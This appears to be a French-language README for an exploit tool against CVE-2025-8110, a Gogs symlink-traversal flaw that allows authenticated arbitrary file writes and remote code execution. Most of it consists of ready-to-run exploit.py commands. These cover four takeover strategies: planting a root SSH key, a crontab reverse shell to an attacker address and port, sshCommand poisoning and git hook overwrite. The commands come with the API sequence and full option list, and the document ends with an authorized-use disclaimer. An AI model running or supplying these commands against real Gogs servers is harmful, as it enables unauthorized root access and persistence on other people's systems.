
Gogs Symlink Traversal → RCE
CVE-2025-8110 est une vulnérabilité critique dans Gogs (service Git auto-hébergé) versions <= 0.13.3. L'API PutContents valide les chemins de fichiers contre la traversée de répertoire (../) mais ne résout pas les liens symboliques avant d'écrire. Un utilisateur authentifié peut pousser un commit contenant un lien symbolique pointant vers n'importe quel fichier du serveur, puis appeler PutContents sur ce lien symbolique pour écraser le fichier réel avec un contenu contrôlé par l'attaquant.
Il s'agit d'un contournement du correctif de CVE-2024-55947, qui ne traitait que la traversée directe de répertoire mais pas la traversée via lien symbolique.
| Détail | Valeur |
|---|---|
| CVE | CVE-2025-8110 |
| Affecté | Gogs <= 0.13.3 |
| Corrigé | Gogs 0.13.4 |
| Type | Écriture arbitraire de fichier authentifiée → RCE |
| CVSS | 8.8 (Élevé) |
| Composant | API PutContents (/api/v1/repos/:owner/:repo/contents/:path) |
requests (pip install requests)git# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only
# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens) - Connexion via jeton API (Basic Auth)POST /api/v1/user/repos avec auto_init: true(POST /api/v1/user/repos (auto_init))PUT /api/v1/repos/:owner/:repo/contents/:link avec un contenu encodé en base64. Gogs résout le lien symbolique sur le disque et écrit dans le fichier réel (PUT /api/v1/repos/.../contents/linkn_ame)target Gogs base URL (e.g. http://target:3000)
Authentication:
-u, --user Gogs username
-p, --password Gogs password
RCE Strategies:
--rce-keys PUBKEY Plant SSH pubkey → /root/.ssh/authorized_keys
--rce-cron Reverse shell → /etc/crontab
--rce-ssh Poison .git/config sshCommand + trigger
--rce-hook Overwrite pre-receive hook + trigger
--write Generic arbitrary file write
Connection / Payload:
--lhost LHOST Attacker IP for reverse shell
--lport LPORT Attacker port for reverse shell
--target-file PATH Server path to overwrite (--write mode)
--content STRING Content to write
--content-file FILE Local file to write
Options:
--repo NAME Repository name (default: random)
--cleanup Delete exploit repo after completion
-o, --output FILE Report file (default: loot.json)
--timeout SECONDS Request timeout (default: 15)
--proxy URL HTTP proxy for debugging
--check-only Only check if target is Gogs, don't exploit
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas de mauvaise utilisation. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester.
| Stratégie | Drapeau | Fichier cible | Déclencheur |
|---|
| A — Clés SSH | --rce-keys | /root/.ssh/authorized_keys | Connexion SSH |
| B — Crontab | --rce-cron | /etc/crontab | Automatique (dans les 60s) |
| C — sshCommand | --rce-ssh | .git/config | Opération git SSH |
| D — Hook Git | --rce-hook | hooks/pre-receive | git push |
| Générique | --write | Tout chemin | Manuel |